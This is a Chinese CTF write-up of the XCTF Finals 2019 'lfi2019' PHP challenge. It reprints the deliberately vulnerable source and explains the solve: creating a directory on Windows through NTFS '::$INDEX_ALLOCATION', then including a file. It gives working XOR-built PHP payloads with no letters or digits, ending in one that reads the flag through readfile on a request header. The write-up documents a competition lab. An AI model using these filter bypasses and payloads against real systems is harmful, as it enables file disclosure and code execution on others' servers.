官方已放出源码
https://github.com/stypr/my-ctf-challenges/tree/master/XCTF_Finals_2019/lfi2019

前言

比赛打的很糟糕,太菜了,只会做这一道题,而且还是刚好考的知识点都了解,纯属运气,rp选手,其他题都是刘师傅C我,要开始闭关学习了
还有ROIS是真的强,做web跟喝水一样

源码

由于现在刚刚打完比赛,所以我把这道题完整的做题思路写出来,尽量保证跟我当时的想法一模一样(绝对不是凑字数

首先这道题放出来已经是第二天了,第一天我是0产出,很急,看到这个题的时候我也是没有想到能做出来,然而恰好思路对上了。

看题目,没有任何描述,只给了个网址,先访问网址,顺手抓包发现题目返回头给了个X-Hint,叫我访问这个路由
图片.png
打开后给了源码

 <?php

    /*
        Developed by stypr.
        Made in 2018, Releasing in 2019!
    */

    // Baka flag-sama and seed-chan! //
    error_reporting(0);
    ini_set("display_errors","off");
    @require('flag.php');
    $seed = md5(rand(PHP_INT_MIN,PHP_INT_MAX));

    if($flag === $_GET['trigger']){
        die(hash("sha256", $seed . $flag));
    }

    // Sessions are never used but we add that //
    ini_set('session.cookie_httponly', 1); @phpinfo();
    ini_set('session.cookie_secure', 1); @phpinfo();
    ini_set('session.use_only_cookies',1); @phpinfo();
    ini_set('session.gc_probability', 1); @phpinfo();
    // but really, you can't really do something with sessions. //
    session_save_path('./sess/');
    session_name("lfi2019");
    session_start();
    session_destroy();

    // Flush directory for security purposes //
    // Referenced it from StackOverflow: https://bit.ly/2MxvxXE //
    function rrmdir($dir, $depth=0){ 
        if (is_dir($dir)){
            $objects = scandir($dir); 
            foreach ($objects as $object){ 
                if ($object != "." && $object != ".."){ 
                    if(is_dir($dir."/".$object))
                        rrmdir($dir."/".$object, $depth + 1);
                    else
                        unlink($dir."/".$object); 
                }
            }
        }
        if($depth != 0) rmdir($dir); 
    }
    function countdir($dir){
        if (is_dir($dir)){
            $objects = scandir($dir);
            foreach ($objects as $object){ 
                if ($object != "." && $object != ".."){ 
                    $count += 1;
                    if(is_dir($dir."/".$object))
                        $count += countdir($dir."/".$object);
                }
            }
        }
        return $count;
    }
    if(countdir("./files/") >= 100) @rrmdir("./files/");

    // Here, kawaii path-san for you! //
    function path_sanitizer($dir, $harden=false){
        $dir = (string)$dir;
        $dir_len = strlen($dir);
        // Deny LFI/RFI/XSS //
        $filter = ['.', './', '~', '.\\', '#', '<', '>'];
        foreach($filter as $f){
            if(stripos($dir, $f) !== false){
                return false;
            }
        }
        // Deny SSRF and all possible weird bypasses //
        $stream = stream_get_wrappers();
        $stream = array_merge($stream, stream_get_transports());
        $stream = array_merge($stream, stream_get_filters());
        foreach($stream as $f){
            $f_len = strlen($f);
            if(substr($dir, 0, $f_len) === $f){
                return false;
            }
        }
        // Deny length //
        if($dir_len >= 128){
            return false;
        }
        // Easy level hardening //
        if($harden){
            $harden_filter = ["/", "\\"];
            foreach($harden_filter as $f){
                $dir = str_replace($f, "", $dir);
            }
        }

        // Sanitize feature is available starting from the medium level //
        return $dir;
    }

    // The new kakkoii code-san is re-implemented. //
    function code_sanitizer($code){
        // Computer-chan, please don't speak english. Speak something else! //
        $code = preg_replace("/[^<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code);
        return $code;
    }

    // Errors are intended and straightforward. Please do not ask questions. //
    class Get {
        protected function nanahira(){
            // senpai notice me //
            function exploit($data){
                $exploit = new System();
            }
            $_GET['trigger'] && !@@@@@@@@@@@@@exploit($$$$$$_GET['leak']['leak']);
        }
        private $filename;
        function __construct($filename){
            $this->filename = path_sanitizer($filename);
        }
        function get(){
            if($this->filename === false){
                return ["msg" => "blocked by path sanitizer", "type" => "error"];
            }
            // wtf???? //
            if(!@file_exists($this->filename)){
                // index files are *completely* disabled. //
                if(stripos($this->filename, "index") !== false){
                    return ["msg" => "you cannot include index files!", "type" => "error"];
                }

                // hardened sanitizer spawned. thus we sense ambiguity //
                $read_file = "./files/" . $this->filename;
                $read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true);

                if($read_file === $read_file_with_hardened_filter ||
                    @file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){
                    return ["msg" => "request blocked", "type" => "error"];
                }
                // .. and finally, include *un*exploitable file is included. //
                @include("./files/" . $this->filename);
                return ["type" => "success"];
            }else{
                return ["msg" => "invalid filename (wtf)", "type" => "error"];
            }
        }
    }
    class Put {
        protected function nanahira(){
            // senpai notice me //
            function exploit($data){
                $exploit = new System();
            }
            $_GET['trigger'] && !@@@@@@@@@@@@@exploit($$$$$$_GET['leak']['leak']);
        }
        private $filename;
        private $content;
        private $dir = "./files/";
        function __construct($filename, $data){
            global $seed;
            if((string)$filename === (string)@path_sanitizer($data['filename'])){
                $this->filename = (string)$filename;
            }else{
                $this->filename = false;
            }
            $this->content = (string)@code_sanitizer($data['content']);
        }
        function put(){
            // just another typical file insertion //
            if($this->filename === false){
                return ["msg" => "blocked by path sanitizer", "type" => "error"];
            }
            // check if file exists //
            if(file_exists($this->dir . $this->filename)){
                return ["msg" => "file exists", "type" => "error"];
            }
            file_put_contents($this->dir . $this->filename, $this->content);
            // just check if file is written. hopefully. //
            if(@file_get_contents($this->dir . $this->filename) == ""){
                return ["msg" => "file not written.", "type" => "error"];
            }
            return ["type" => "success"];
        }
    }

    // Triggering this is nearly impossible //
    class System {
        function __destruct(){
            global $seed;
            // ain't Argon2, ain't pbkdf2. what could go wrong?
            $flag = hash('sha256', $seed);
            if($_GET[$flag]){
                @system($_GET[$flag]);
            }else{
                @unserialize($_SESSION[$flag]);
            }
        }
    }

    // Don't call me a savage... I gave everything you need //
    if($_SERVER['QUERY_STRING'] === "show-me-the-hint"){
        show_source(__FILE__);
        exit;
    }

    // XSS protection and hints ^-^ //
    header('X-Hint: /index.php?show-me-the-hint');
    header('X-Frame-Options: DENY');
    header('X-XSS-Protection: 1; mode=block;');
    header('X-Content-Type-Options: nosniff');
    header('Content-Type: text/html; charset=utf-8');
    header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');

    //header("Content-Security-Policy: default-src 'self'; script-src 'nonce-${seed}' 'unsafe-eval';" .
    //"font-src 'nonce-${seed}' fonts.gstatic.com; style-src 'nonce-${seed}' fonts.googleapis.com;");

    // Hello, JSON! //
    $parsed_url = explode("&", $_SERVER['QUERY_STRING']);
    if(count($parsed_url) >= 2){
        header("Content-Type:text/json");
        switch($parsed_url[0]){
            case "get":
                $get = new Get($parsed_url[1]);
                $data = $get->get();
                break;
            case "put":
                $put = new Put($parsed_url[1], $_POST);
                $data = $put->put();
                break;
            default:
                $data = ["msg" => "Invalid data."];
                break;
        }
        die(json_encode($data));
    }
?>
<!doctype html>
<html>
<head>
    <meta charset=utf-8>
    <link rel="stylesheet" href="//stackpath.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" nonce="<?php echo $seed; ?>">
    <link rel="styleshhet" href="//fonts.googleapis.com/css?family=Muli:300,400,700" nonce="<?php echo $seed; ?>">
    <link rel="stylesheet" href="./static/legit.css" nonce="<?php echo $seed; ?>">
    <title>LFI2019</title>
</head>
<body>
    <div class="modal fade" id="put-modal">
        <div class="modal-dialog modal-lg">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title">put2019</h5>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>
                <div class="modal-body">
                    <div class="form-group">
                        <label for="upload-filename" class="col-form-label">Filename:</label>
                        <input type="text" class="form-control" id="upload-filename">
                    </div>
                    <div class="form-group">
                        <label for="upload-content" class="col-form-label">Content:</label>
                        <textarea class="form-control disabled" id="upload-content" rows=10></textarea>
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
                    <button type="button" class="btn btn-primary" id="upload-submit">put();</button>
                </div>
            </div>
        </div>
    </div>
    <div class="modal fade" id="get-modal">
        <div class="modal-dialog modal-lg">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title">get2019</h5>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>
                <div class="modal-body">
                    <div class="form-group">
                        <label for="include-filename" class="col-form-label">Filename:</label>
                        <input type="text" class="form-control" id="include-filename">
                    </div>
                    <div class="form-group">
                        <textarea class="form-control disabled" id="include-content" disabled rows=10></textarea>
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
                    <button type="button" class="btn btn-primary" id="include-submit">include();</button>
                </div>
            </div>
        </div>
    </div>
    <div class="modal fade" id="info-modal">
        <div class="modal-dialog modal-lg">
            <div class="modal-content">
                <div class="modal-header">
                    <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>
                </div>
                <div class="modal-body">
                    <p>
                        Hi there! We introduce LFI2019 with another technique that never came out on CTFs. 
                        We want to end tedious LFI challenges starting from this year.
                        Traps are everywhere, so be warned. Good Luck!
                    </p>
                    <p>
                        .. and of course, the main objective for this challenge is absolutely straightforward: Leak the sourcecode of flag file to solve this challenge. flag is located at <code>flag.php</code>.
                    </p>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
                </div>
            </div>
        </div>
    </div>
    <ul class="text hidden">
        <li>L</li>
        <li class="ghost">e</li>
        <li class="ghost">g</li>
        <li class="ghost">i</li>
        <li class="ghost">t</li>
        <li class="spaced">F</li>
        <li class="ghost">i</li>
        <li class="ghost">l</li>
        <li class="ghost">e</li>
        <li class="spaced">I</li>
        <li class="ghost">n</li>
        <li class="ghost">c</li>
        <li class="ghost">l</li>
        <li class="ghost">u</li>
        <li class="ghost">s</li>
        <li class="ghost">i</li>
        <li class="ghost">o</li>
        <li class="ghost">n</li>
        <li class="spaced">2019</li>
        <br>
        <br>
        <div class="hide" id="kawaii">
            <center>
                <button class="btn col-4 btn-success half" id="get">include</button>
                <button class="btn col-4 btn-warning" id="put">upload</button>
                <button class="btn col-3 btn-info" id="info">info</button>
                <p class="lightgrey">
                    Reference ID: <b class="ref"><?php echo $seed; ?></b>
                </p>
                Made with &hearts; by stypr.
            </center>
        </div>
    </ul>
    <script src="https://code.jquery.com/jquery-3.3.1.min.js" nonce="<?php echo $seed; ?>"></script>
    <script src="//stackpath.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js" nonce="<?php echo $seed; ?>"></script>
    <script src="./static/legit.js" nonce="<?php echo $seed; ?>" defer></script>
</body>
</html>
<!-- https://www.youtube.com/watch?v=OEpeRmPkRIU --> 

思路

当时看到这又臭又长的代码,大致浏览一遍,得到的信息是,flag在flag.php文件中,然后有很多很奇怪的功能,比如session,还有两个类,214-231是核心代码,主要说了有两种访问方式,一种传get,会实例化get类,另一种传put,会实例化put类
然后因为final,要不惜一切手段找攻击面(除了py),于是我另一边开了dirsearch去扫,下面是扫描结果(有伏笔
图片.png
为了做题,我沉下气仔细的看了一遍代码,发现


class System {
        function __destruct(){
            global $seed;
            // ain't Argon2, ain't pbkdf2. what could go wrong?
            $flag = hash('sha256', $seed);
            if($_GET[$flag]){
                @system($_GET[$flag]);
            }else{
                @unserialize($_SESSION[$flag]);
            }
        }
    }
protected function nanahira(){
            // senpai notice me //
            function exploit($data){
                $exploit = new System();
            }
            $_GET['trigger'] && !@@@@@@@@@@@@@exploit($$$$$$_GET['leak']['leak']);
        }

这些还有session的逻辑好像都没什么用处,还有最下面的YouTube注释,我还去看了一下==
而且前几行按道理应该输出phpinfo,并且我把代码放到本地搭建了一下,发现输出了phpinfo,但是远程就不行(伏笔
暂且没管,由于代码有很多闲杂功能,我挑一下核心代码

 <?php

   @require('flag.php');
   function path_sanitizer($dir, $harden=false){
        $dir = (string)$dir;
        $dir_len = strlen($dir);
        // Deny LFI/RFI/XSS //
        $filter = ['.', './', '~', '.\\', '#', '<', '>'];
        foreach($filter as $f){
            if(stripos($dir, $f) !== false){
                return false;
            }
        }
        // Deny SSRF and all possible weird bypasses //
        $stream = stream_get_wrappers();
        $stream = array_merge($stream, stream_get_transports());
        $stream = array_merge($stream, stream_get_filters());
        foreach($stream as $f){
            $f_len = strlen($f);
            if(substr($dir, 0, $f_len) === $f){
                return false;
            }
        }
        // Deny length //
        if($dir_len >= 128){
            return false;
        }
        // Easy level hardening //
        if($harden){
            $harden_filter = ["/", "\\"];
            foreach($harden_filter as $f){
                $dir = str_replace($f, "", $dir);
            }
        }

        // Sanitize feature is available starting from the medium level //
        return $dir;
    }

    // The new kakkoii code-san is re-implemented. //
    function code_sanitizer($code){
        // Computer-chan, please don't speak english. Speak something else! //
        $code = preg_replace("/[^<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code);
        return $code;
    }

    // Errors are intended and straightforward. Please do not ask questions. //
    class Get {

        private $filename;
        function __construct($filename){
            $this->filename = path_sanitizer($filename);
        }
        function get(){
            if($this->filename === false){
                return ["msg" => "blocked by path sanitizer", "type" => "error"];
            }
            // wtf???? //
            if(!@file_exists($this->filename)){
                // index files are *completely* disabled. //
                if(stripos($this->filename, "index") !== false){
                    return ["msg" => "you cannot include index files!", "type" => "error"];
                }

                // hardened sanitizer spawned. thus we sense ambiguity //
                $read_file = "./files/" . $this->filename;
                $read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true);

                if($read_file === $read_file_with_hardened_filter ||
                    @file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){
                    return ["msg" => "request blocked", "type" => "error"];
                }
                // .. and finally, include *un*exploitable file is included. //
                @include("./files/" . $this->filename);
                return ["type" => "success"];
            }else{
                return ["msg" => "invalid filename (wtf)", "type" => "error"];
            }
        }
    }
    class Put {

        private $filename;
        private $content;
        private $dir = "./files/";
        function __construct($filename, $data){
            global $seed;
            if((string)$filename === (string)@path_sanitizer($data['filename'])){
                $this->filename = (string)$filename;
            }else{
                $this->filename = false;
            }
            $this->content = (string)@code_sanitizer($data['content']);
        }
        function put(){
            // just another typical file insertion //
            if($this->filename === false){
                return ["msg" => "blocked by path sanitizer", "type" => "error"];
            }
            // check if file exists //
            if(file_exists($this->dir . $this->filename)){
                return ["msg" => "file exists", "type" => "error"];
            }
            file_put_contents($this->dir . $this->filename, $this->content);
            // just check if file is written. hopefully. //
            if(@file_get_contents($this->dir . $this->filename) == ""){
                return ["msg" => "file not written.", "type" => "error"];
            }
            return ["type" => "success"];
        }
    }
    // Don't call me a savage... I gave everything you need //
    if($_SERVER['QUERY_STRING'] === "show-me-the-hint"){
        show_source(__FILE__);
        exit;
    }

    $parsed_url = explode("&", $_SERVER['QUERY_STRING']);
    if(count($parsed_url) >= 2){
        header("Content-Type:text/json");
        switch($parsed_url[0]){
            case "get":
                $get = new Get($parsed_url[1]);
                $data = $get->get();
                break;
            case "put":
                $put = new Put($parsed_url[1], $_POST);
                $data = $put->put();
                break;
            default:
                $data = ["msg" => "Invalid data."];
                break;
        }
        die(json_encode($data));
    }

上面差不多就是核心代码了,具体审计就不讲了,大概说讲一下具体逻辑

put

put类可以进行写文件操作,文件名可控但是要经过path_sanitizer过滤,然后拼接写在files目录下,path_sanitizer函数会过滤. (重要) 所以写php,分布式配置等含.的文件都别想了,只能写普通文件,然后写的内容也可控,但是要过这个正则

preg_replace("/[^<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code)

差不多就是put类的大概意思

get

get类可以进行文件读取,并且在最后面有个include操作,所以猜侧具体思路是写普通文件,然后用include包含执行,刚好满足题目意思,
首先传入的文件名也可控,但是也要经过path_sanitizer函数过滤,并且也会在前面自动拼接./files/,所以肯定是先写到files文件夹,然后包含之。然而最麻烦的过滤在上面核心代码的66-72行,如下

<?php
function __construct($filename){
            $this->filename = path_sanitizer($filename);
        }
$read_file = "./files/" . $this->filename;
$read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true);

if($read_file === $read_file_with_hardened_filter ||
@file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){
return ["msg" => "request blocked", "type" => "error"];
}

path_sanitizer函数根据第二个参数有两种过滤模式,第二个参数为假或者默认,就主要是过滤.,并且是匹配到直接报错(简称过滤A) ,但如果第二个参数为真则在过滤A的基础上还会把正反斜杠替换为空(过滤B)。
而上面几行代码的逻辑是传入的文件名字符串,经过两种过滤方式输出的文件名和文件内容都必须不一样,否者就直接返回了,这段代码通过后就会include $this->filename,所以我们只要绕过这个if判断就可以包含了

绕过过滤(失败尝试1

一开始我想用反斜杠来绕过,因为linux下可以用反斜杠做文件名
图片.png
先put一个含\的文件名比如evoA\233,当我们get传入文件名 为evoA\233,
过滤A会返回evoA\233,过滤B会evoA233,两者文件名不一样,文件内容也不一样(其中一个文件不存在内容为空)。就可以成功包含了。
但是我打的时候一直不成功,无奈本地搭建了一下,然后发现本地是可以打通的
由于最终包含的是过滤A返回的,也就是最终包含的是evoA\233
图片.png
图片.png
Nope是文件内容被替换的结果,include直接打印了出来
但是远程服务器一直不成功,陷入困境

突然发现不得了的事情

思考了一下,还记得之前的dirsearch的扫描吗,扫出来有个INDEX.PHP和index.PHP,并且内容都是一样的
图片.png
正常来说,linux文件系统是分大小写的,访问这两个文件肯定是404的,但是!Windows系统是不分文件名大小写的,所以大胆猜测,这是一个windows环境
而对于windows,文件名是不能含有\的,\会自动被替换成/被当作路径,也就是我们不能通过上面的反斜杠文件名来绕过
这时旁边贾师傅说,“如果能创目录就好了,创个xxx目录,然后往目录写个aaa文件,内容是payload,访问xxx/aaa就可以成功包含了”,

Windows特性 & 解决方法

但是可惜的是,file_put_contents不能创目录
但是!windows有磁盘流方法创目录啊
图片.png
https://www.cnblogs.com/hookjoy/p/6579646.html
如果环境是windows,当我们file_put_contents的文件名是syc233::$INDEX_ALLOCATION的时候,当前文件夹下就会生成一个syc233的文件夹,然后用put类往这个文件下写一个evoa文件,就可以绕过成功包含了。

图片.png
图片.png
图片.png远程服务器上终于成功了,接下来就是撰写文件内容payload了

无字母数字rce payload

写文件操作,文件内容要通过下面的正则

<?php
preg_replace("/[^<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code);
?>

对于无字母数字payload已经考了很多次,可以发现^这个万金油没有被过滤,于是可以用^来绕过,
由于php7和php5的无字母数字rce payload不一致,但是此时我不能判断服务器的php版本,而且很奇怪的是phpinfo写在了源码却没有输出,这时候我本来是想去咨询出题人的,但是我发现
源码第12行
$seed = md5(rand(PHP_INT_MIN,PHP_INT_MAX));
官网的资料显示

图片.png
只有php7以后才可以用PHP_INT_MIN这个变量,所以大胆猜测环境是php7

然后就可以通过 ^ 符号构造字符串"phpinfo"然后()执行即可,但是我们可用的只有<>!@#$%^&*_?+.-\'"=()[];这些符号。我写了一个脚本来获取这些字符相互异或能得到的其他字符

dicc = "<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;"
dic = []
for i in dicc:
    dic.append(ord(i))

baodian = {}
woyaode = "phpinfo"
for i in dic:
    for j in dic:
        baodian.update({chr(i^j):'("'+chr(i)+'"'+"^"+'"'+chr(j)+'")'})

for i in woyaode:
    print(baodian[i],end=".")

图片.png
这些符号相互异或得到的字符有限,如上报错,字典里没有o,所以我们要多创造一些字符
然而,$ _ !这三个符号没有被过滤,我们可以用这三个符号创造数字
$_ == null
!$_ == true
!$_ + !$_==2
然而,字符和纯数字异或得不到字符串,我们必须把数字 变成 数字字符串
https://github.com/Samik081/ctf-writeups/blob/master/ISITDTU%20CTF%202019%20Quals/web/easyphp.md
trim函数可以把数字变成字符串
图片.png
很巧的是,trim这4个字母,上面的字符恰好可以生成
图片.png
图片.png使用$__=("\\"^"(").("\\"^".").(")"^"@").("-"^"@");$__($_);就可以生成字符1234567890了。
图片.png
再把1234567890加入脚本的字典里

dicc = "0123456789<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;"
dic = []
for i in dicc:
    dic.append(ord(i))

baodian = {}
woyaode = "phpinfo"
for i in dic:
    for j in dic:
        baodian.update({chr(i^j):'("'+chr(i)+'"'+"^"+'"'+chr(j)+'")'})

for i in woyaode:
    print(baodian[i],end=".")

我们可以生成o字符了,然后payload就用php短标签,最终生成phpinfo() exp

<?=$__=("\\"^"(").("\\"^".").(")"^"@").("-"^"@");(("]"^"-").("\\"^$__(!$_+!$_+!$_+!$_)).("]"^"-").("\\"^$__(!$_+!$_+!$_+!$_+!$_)).("\\"^$__(!$_+!$_)).(";"^"]").("\\"^$__(!$_+!$_+!$_)))();?>

但是并没有解析成功打印。于是我大胆的猜测!
服务端把phpinfo加入disable_functions里了
其实说得过去,要不然为什么首页不打印phpinfo
那既然开启了disable_function,rce函数也不想了,肯定也被ban了,而且php7.1以上assert也变成语法结构了,该怎么轻松rce拿flag,
虽然我们字典扩充了0123456789,但是baodian里还是无法生成.字符_字符$字符,主要生成的是英文字母,所以最终我选择了readfile(next(getallheaders()))动态调用
最终构造好的exp

<?=$__=("\\"^"(").("\\"^".").(")"^"@").("-"^"@");(("\\"^".").(";"^"^").("\\"^"=").(";"^"_").(";"^"]").("\\"^$__(!@$_+!@$_+!@$_+!@$_+!@$_)).("\\"^$__(!@$_-!@$_)).(";"^"^"))((("\\"^$__(!@$_+!@$_)).(";"^"^").("\\"^"$").("\\"^"("))((((";"^"\\").(";"^"^").("\\"^"(").("\\"^"=").("\\"^$__(!@$_-!@$_)).("\\"^$__(!@$_-!@$_)).("\\"^$__(!@$_+!@$_+!@$_+!@$_)).(";"^"^").("\\"^"=").(";"^"_").(";"^"^").("\\"^".").("]"^"."))())))?>

由于windows的问题,next(getallheaders())取的是Connection 头
图片.png
图片.png
图片.png

终于拿到flag了,还是一血,有点开心,可能这就是CTF的魅力吧

后话

感谢赛宁和r3kapig团队,很完美的一场比赛,质量很高的一场比赛,学到了很多,也认清了自己的菜(QAQ)